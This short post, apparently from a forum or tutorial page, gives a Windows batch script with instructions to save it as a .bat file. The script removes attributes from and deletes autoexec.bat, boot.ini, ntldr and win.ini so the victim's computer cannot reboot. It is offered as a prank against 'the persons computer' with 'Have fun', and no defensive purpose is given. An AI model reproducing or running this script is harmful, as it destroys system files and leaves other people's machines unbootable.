Open up notepad and copy , paste the code below. Save it as a .bat file.
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. Have fun ...
REMEMBER - DO NOT CLICK THIS FILE. (for idiots)
YOU WONT RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE
